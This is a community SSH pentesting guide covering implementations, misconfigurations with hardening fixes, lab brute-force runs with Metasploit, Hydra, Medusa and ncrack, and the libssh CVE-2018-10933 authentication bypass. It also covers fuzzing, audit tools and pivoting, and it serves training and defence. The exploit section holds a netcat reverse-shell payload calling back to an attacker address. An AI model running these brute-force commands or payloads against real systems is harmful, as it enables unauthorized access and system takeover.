**SSH Pentesting Guide**

A Comprehensive Guide to Breaking SSH. Written by Alexandre Zanni.



SSH Pentesting Guide

**In this guide, I will:**

* Quickly introduce the SSH protocol and implementations.
* Expose some common configuration mistakes then showcase some attacks on the protocol & implementations.
* Present some SSH pentesting & blue team tools.
* Give a standard reference for security guidelines and finally talk about an article I previously wrote on the topic of network pivoting.

If you’d like to suggest an amendment or [contribute to this article](https://community.turgensec.com/ssh-pentesting-guide-content-bounty/) send us an email through to nathaniel@turgensec.com. We’ll also do our best to propagate additions and suggestions from social media!

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**What are SSH and SFTP?**

**SSH** is a secure remote shell protocol used for operating network services  
securely over an unsecured network. The default SSH port is 22, it’s common to see it open on servers on Internet or Intranets.

**SFTP** is the SSH File Transfer Protocol, a protocol used to transfer files over an SSH connection. Most SSH implementations are also supporting SFTP.

**SSH servers/libs**

The most famous and common SSH server and client is openSSH (*OpenBSD Secure Shell*). It’s a strong implementation which is well maintained and was first released in 1999. So this is the implementation you will see the most often on BSD, Linux and even Windows as it is shipped in Windows since Windows 10.

**But openSSH is not the only implementation, here are other ones:**

**SSH servers:**

* [openSSH](http://www.openssh.org/) – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
* [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
* [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows

**SSH libraries (implementing server-side):**

* [libssh](https://www.libssh.org/) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA
* [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library

**Common configuration mistakes**

**Root login**

By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.

**How to disable root login for openSSH:**

1. Edit SSH server configuration sudoedit /etc/ssh/sshd\_config
2. Change #PermitRootLogin yes into PermitRootLogin no
3. Take into account configuration changes: sudo systemctl daemon-reload
4. Restart the SSH server sudo systemctl restart sshd

**SFTP command execution**

Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like /usr/bin/nologin or /usr/bin/false) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, a user can ask to execute a command right after authentication before it’s default command or shell is executed. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. /bin/bash) before, just by doing:

$ ssh -v noraj@192.168.1.94 id

...

Password:

debug1: Authentication succeeded (keyboard-interactive).

Authenticated to 192.168.1.94 ([192.168.1.94]:22).

debug1: channel 0: new [client-session]

debug1: Requesting no-more-sessions@openssh.com

debug1: Entering interactive session.

debug1: pledge: network

debug1: client\_input\_global\_request: rtype hostkeys-00@openssh.com want\_reply 0

debug1: Sending command: id

debug1: client\_input\_channel\_req: channel 0 rtype exit-status reply 0

debug1: client\_input\_channel\_req: channel 0 rtype eow@openssh.com reply 0

uid=1000(noraj) gid=100(users) groups=100(users)

debug1: channel 0: free: client-session, nchannels 1

Transferred: sent 2412, received 2480 bytes, in 0.1 seconds

Bytes per second: sent 43133.4, received 44349.5

debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Here is an example of secure SFTP configuration (/etc/ssh/sshd\_config – openSSH) for the user noraj:

Match User noraj

ChrootDirectory %h

ForceCommand internal-sftp

AllowTcpForwarding no

PermitTunnel no

X11Forwarding no

PermitTTY no

This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.

**Authentication methods**

On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling publickey on openSSH configuration and setting it as the default method but not disabling password. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:

$ ssh -v 192.168.1.94

OpenSSH\_8.1p1, OpenSSL 1.1.1d 10 Sep 2019

...

debug1: Authentications that can continue: publickey,password,keyboard-interactive

For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the PreferredAuthentications option to force to use this method.

$ ssh -v 192.168.1.94 -o PreferredAuthentications=password

...

debug1: Next authentication method: password

Review the SSH server configuration is necessary to check that only expected  
methods are authorized. Using the verbose mode on the client can help to see  
the effectiveness of the configuration.

**Attack showcase**

**Now we’ll see a set of attack examples that you can reproduce on some SSH server implementations.**

**Password guessing/bruteforce attack**

I will now run through an improved variation of “brute forcing” an SSH user password with a password dictionary using four tools: the metasploit framework, hydra, medusa and ncrack.

In all cases we will target the machine 192.168.1.94, on port 22 and will bruteforce only the password of the user noraj.

Read the help messages given below if you don’t understand an argument/option.

**Metasploit**

With [Metasploit](https://www.metasploit.com/):

$ msf5 > search ssh

Matching Modules

================

# Name Disclosure Date Rank Check Description

- ---- --------------- ---- ----- -----------

...

17 auxiliary/scanner/ssh/ssh\_login normal Yes SSH Login Check Scanner

...

msf5 > use 17

msf5 auxiliary(scanner/ssh/ssh\_login) > show options

Module options (auxiliary/scanner/ssh/ssh\_login):

Name Current Setting Required Description

---- --------------- -------- -----------

BLANK\_PASSWORDS false no Try blank passwords for all users

BRUTEFORCE\_SPEED 5 yes How fast to bruteforce, from 0 to 5

DB\_ALL\_CREDS false no Try each user/password couple stored in the current database

DB\_ALL\_PASS false no Add all passwords in the current database to the list

DB\_ALL\_USERS false no Add all users in the current database to the list

PASSWORD no A specific password to authenticate with

PASS\_FILE no File containing passwords, one per line

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 22 yes The target port

STOP\_ON\_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS\_FILE no File containing users and passwords separated by space, one pair per line

USER\_AS\_PASS false no Try the username as the password for all users

USER\_FILE no File containing usernames, one per line

VERBOSE false yes Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh\_login) > set PASS\_FILE /usr/share/wordlists/password/rockyou.txt

PASS\_FILE => /usr/share/wordlists/password/rockyou.txt

msf5 auxiliary(scanner/ssh/ssh\_login) > set RHOSTS 192.168.1.94

RHOSTS => 192.168.1.94

msf5 auxiliary(scanner/ssh/ssh\_login) > set THREADS 10

THREADS => 10

msf5 auxiliary(scanner/ssh/ssh\_login) > set STOP\_ON\_SUCCESS true

STOP\_ON\_SUCCESS => true

msf5 auxiliary(scanner/ssh/ssh\_login) > set username noraj

username => noraj

msf5 auxiliary(scanner/ssh/ssh\_login) > run

[+] 192.168.1.94:22 - Success: 'noraj:noraj' ''

[\*] Command shell session 1 opened (192.168.1.83:37291 -> 192.168.1.94:22) at 2020-01-02 21:33:33 +0100

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

**Hydra**

With [Hydra](https://github.com/vanhauser-thc/thc-hydra):

$ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://192.168.1.94

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 21:44:28

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task

[DATA] attacking ssh://192.168.1.94:22/

[22][ssh] host: 192.168.1.94 login: noraj password: noraj

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-02 21:44:33

Extract of the help message:

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE

-p PASS or -P FILE try password PASS, or load several passwords from FILE

-e nsr try "n" null password, "s" login as pass and/or "r" reversed login

service the service to crack (see below for supported protocols)

**Medusa**

With [Medusa](http://foofus.net/goons/jmk/medusa/medusa.html):

$ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0 complete) User: noraj (1 of 1, 0 complete) Password: noraj (1 of 14344391 complete)

ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj Password: noraj [SUCCESS]

Extract of the help message:

-h [TEXT] : Target hostname or IP address

-u [TEXT] : Username to test

-P [FILE] : File containing passwords to test

-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)

-M [TEXT] : Name of the module to execute (without the .mod extension)

**Ncrack**

With [ncrack](https://github.com/nmap/ncrack):

$ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://192.168.1.94

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02 21:50 CET

Discovered credentials for ssh on 192.168.1.94 22/tcp:

192.168.1.94 22/tcp ssh: 'noraj' 'noraj'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Extract of the help message:

-P <filename>: password file

--user <username\_list>: comma-separated username list

**Exploit – LibSSH RCE**

[CVE-2018-10933](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10933) is the reference for a vulnerability impacting libssh library. This vulnerability allows unauthorized access by bypassing the authentication.

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting the server an SSH2\_MSG\_USERAUTH\_SUCCESS message in place of the SSH2\_MSG\_USERAUTH\_REQUEST message which the server would expect to initiate authentication, the attacker could successfully authentciate without any credentials. [Advisory](https://www.libssh.org/security/advisories/CVE-2018-10933.txt)

When you find a vulnerable version with nmap you should see something like that:

22/tcp open ssh libssh 0.8.3 (protocol 2.0)

searchsploit (the tool used to locally browse the Exploit-DB) shows the existing exploits available for libssh.

searchsploit libssh

-------------------------------------------------------------------------------------------- ----------------------------------------

Exploit Title | Path

| (/usr/share/exploitdb/)

-------------------------------------------------------------------------------------------- ----------------------------------------

LibSSH 0.7.6 / 0.8.4 - Unauthorized Access | exploits/linux/remote/46307.py

libSSH - Authentication Bypass | exploits/linux/remote/45638.py

-------------------------------------------------------------------------------------------- ----------------------------------------

Shellcodes: No Result

So we can use the exploit to execute a command on the target in order to confirm it is working.

$ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 id

uid=0(root) gid=0(root) groups=0(root)

Instead of just running a command we can try to execute a reverse shell.

First we start the listener on our machine: sudo ncat -nlp 80.

Then we use a sh reverse shell payload in the exploit:

python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"

**Fuzzing**

As fuzzing is complex, I’m only going to highlight two approaches:

* Generic & automated.
* Specific & manual.

**Generic & automated approach**

It’s possible to use a script like [sshfuzz.pl](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)to automatically fuzz a live SSH server whatever is the implementation.

It has the advantage of being simple but it’s not very targeted so it’s going to take a lot of time and miss a lot of results.

Install dependencies and launch the script is as easy as writing those two lines:

$ cpan Net::SSH2

$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj

Another automated approach that will also work on any live SSH server is to use the metasploit module [auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2):

msf5 > use auxiliary/fuzzers/ssh/ssh\_version\_2

msf5 auxiliary(fuzzers/ssh/ssh\_version\_2) > set RHOSTS 192.168.1.94

msf5 auxiliary(fuzzers/ssh/ssh\_version\_2) > run

[\*] Running module against 192.168.1.94

[\*] 192.168.1.94:22 - Fuzzing with iteration 100 using fuzzer\_string\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 200 using fuzzer\_string\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 300 using fuzzer\_string\_long

[\*] 192.168.1.94:22 - Fuzzing with iteration 400 using fuzzer\_string\_long

[\*] 192.168.1.94:22 - Fuzzing with iteration 500 using fuzzer\_string\_paths\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 600 using fuzzer\_string\_paths\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 700 using fuzzer\_string\_paths\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 800 using fuzzer\_string\_paths\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 900 using fuzzer\_string\_paths\_giant

[\*] 192.168.1.94:22 - Fuzzing with iteration 1000 using fuzzer\_string\_paths\_giant

...

Using those tools is easy but you have low chance of finding something exploitable.

**Custom & manual approach**

If you want to find more significant results and have the time to familiarize yourself with the targeted implementation you can opt for a manual approach.

Here the technique is to use an advanced generic fuzzer on a self-run SSH server and modify the source code to optimize the test execution time. So it will require to configure the fuzzer, configure and build the targeted implementation, detecting the crashes, reducing the use of resource-intensive functions to make the fuzz faster, increasing coverage, create input test-cases and input dictionaries and having a deep understanding of the SSH protocol and of the implementation.

Here is an example of *Vegard Nossum* [Fuzzing the OpenSSH daemon using AFL](http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html).

**Related Tools & Resources**

“[HASSH](https://github.com/salesforce/hassh)” is a network fingerprinting standard which can be used to identify specific Client and Server SSH implementations. The fingerprints can be easily stored, searched and shared in the form of an MD5 fingerprint.

HASSH is a standard that helps blue teams to detect, control and investigate brute force or credential stuffing password attempts, exfiltration of data, network discovery and lateral movement, etc.

[ssh-audit](https://github.com/arthepsy/ssh-audit) is an SSH server auditing tool (banner, key exchange, encryption, mac, compression, compatibility, security, etc).

It’s handy for professional pentesters to quickly detect the target version and knowing which algorithms are available on the remote server to be able to give algorithm recommendations to the customer.

**Example of use:**

$ ssh-audit 192.168.1.94

# general

(gen) banner: SSH-2.0-OpenSSH\_7.9

(gen) software: OpenSSH 7.9

(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+

(gen) compression: enabled (zlib@openssh.com)

# key exchange algorithms

(kex) curve25519-sha256 -- [warn] unknown algorithm

(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62

(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves

`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62

(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves

`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62

(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves

`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62

(kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)

`- [info] available since OpenSSH 4.4

(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73

(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3

(kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73

(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm

`- [info] available since OpenSSH 3.9, Dropbear SSH 0.53

# host-key algorithms

(key) rsa-sha2-512 -- [info] available since OpenSSH 7.2

(key) rsa-sha2-256 -- [info] available since OpenSSH 7.2

(key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28

(key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves

`- [warn] using weak random number generator could reveal the key

`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62

(key) ssh-ed25519 -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)

(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5

`- [info] default cipher since OpenSSH 6.9.

(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52

(enc) aes192-ctr -- [info] available since OpenSSH 3.7

(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52

(enc) aes128-gcm@openssh.com -- [info] available since OpenSSH 6.2

(enc) aes256-gcm@openssh.com -- [info] available since OpenSSH 6.2

# message authentication code algorithms

(mac) umac-64-etm@openssh.com -- [warn] using small 64-bit tag size

`- [info] available since OpenSSH 6.2

(mac) umac-128-etm@openssh.com -- [info] available since OpenSSH 6.2

(mac) hmac-sha2-256-etm@openssh.com -- [info] available since OpenSSH 6.2

(mac) hmac-sha2-512-etm@openssh.com -- [info] available since OpenSSH 6.2

(mac) hmac-sha1-etm@openssh.com -- [warn] using weak hashing algorithm

`- [info] available since OpenSSH 6.2

(mac) umac-64@openssh.com -- [warn] using encrypt-and-MAC mode

`- [warn] using small 64-bit tag size

`- [info] available since OpenSSH 4.7

(mac) umac-128@openssh.com -- [warn] using encrypt-and-MAC mode

`- [info] available since OpenSSH 6.2

(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode

`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56

(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode

`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56

(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode

`- [warn] using weak hashing algorithm

`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 7.9)

(rec) -ecdh-sha2-nistp521 -- kex algorithm to remove

(rec) -ecdh-sha2-nistp384 -- kex algorithm to remove

(rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove

(rec) -ecdh-sha2-nistp256 -- kex algorithm to remove

(rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove

(rec) -ecdsa-sha2-nistp256 -- key algorithm to remove

(rec) -hmac-sha2-512 -- mac algorithm to remove

(rec) -umac-128@openssh.com -- mac algorithm to remove

(rec) -hmac-sha2-256 -- mac algorithm to remove

(rec) -umac-64@openssh.com -- mac algorithm to remove

(rec) -hmac-sha1 -- mac algorithm to remove

(rec) -hmac-sha1-etm@openssh.com -- mac algorithm to remove

(rec) -umac-64-etm@openssh.com -- mac algorithm to remove

**General Exploit Dev Resources**

Though (beyond this article) not much really exists for SSH specific exploit development, many of the same general trends apply. Many books & articles have covered the development of zero-day stack & heap-based exploits in detail, some of which are covered in the appropriate sections of our [books and resources](https://community.turgensec.com/cyber-security-books/#Exploit_Development_Books) page. (TLDR; [Corelan](https://www.corelan.be/) & [Shellcoders Hackers Handbook](https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470/ref=as_li_ss_tl?&hvadid=310913487979&hvpos=1o1&hvnetw=g&hvrand=8783653603300561519&hvpone=&hvptwo=&hvqmt=&hvdev=c&hvdvcmdl=&hvlocint=&hvlocphy=9045957&hvtargid=pla-490871754939&psc=1&th=1&psc=1&linkCode=ll1&tag=turgen-20&linkId=07fb8b8c94849821380f9f4e955ec549&language=en_US) are still the best).

Some of the most notable remote SSH exploits of recent times are listed below as a quick non-comprehensive shortlist –

* <https://www.exploit-db.com/exploits/18557> ~ Sysax 5.53 – SSH ‘Username’ Remote Buffer Overflow
* <https://www.exploit-db.com/exploits/45001> ~ OpenSSH < 6.6 SFTP – Command Execution
* <https://www.exploit-db.com/exploits/45233> ~ OpenSSH 2.3 < 7.7 – Username Enumeration
* <https://www.exploit-db.com/exploits/46516> ~ OpenSSH SCP Client – Write Arbitrary Files

**SSH Security guidelines**

Mozilla is giving recommendations to help secure an OpenSSH server in [this reference guide](https://infosec.mozilla.org/guidelines/openssh).

Best current practices regarding secure SSH configuration are also given in a guide called [Applied Crypto Hardening](https://bettercrypto.org/#ssh). Currently examples of configuration are given for OpenSSH, Cisco ASA and Cisco IOS. The [source](https://github.com/BetterCrypto/Applied-Crypto-Hardening) of the guide is also available.

**Pivoting**

**In 2019, I published an article about network pivoting**[*Etat de l’art du pivoting réseau en 2019*](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/)**[fr-FR].**

**This article addresses the following topics that are related to SSH:**

* SSH local port forwarding
* SSH reverse remote port forwarding
* SSH dynamic port forwarding
* SSH reverse remote port forwarding + proxy SOCKS
* VPN over SSH
* sshuttle – Transparent proxy over ssh
* Chisel – HTTP tunnel via SSH

Those methods are helpful for a professional red teamer to make lateral movement in the target network.

**This is a community article.** If you want to chat to other cyber security experts, contribute articles or collaborate with us, join our [Discord channel by clicking here.](https://discord.gg/RZXRxsW)

**About the author**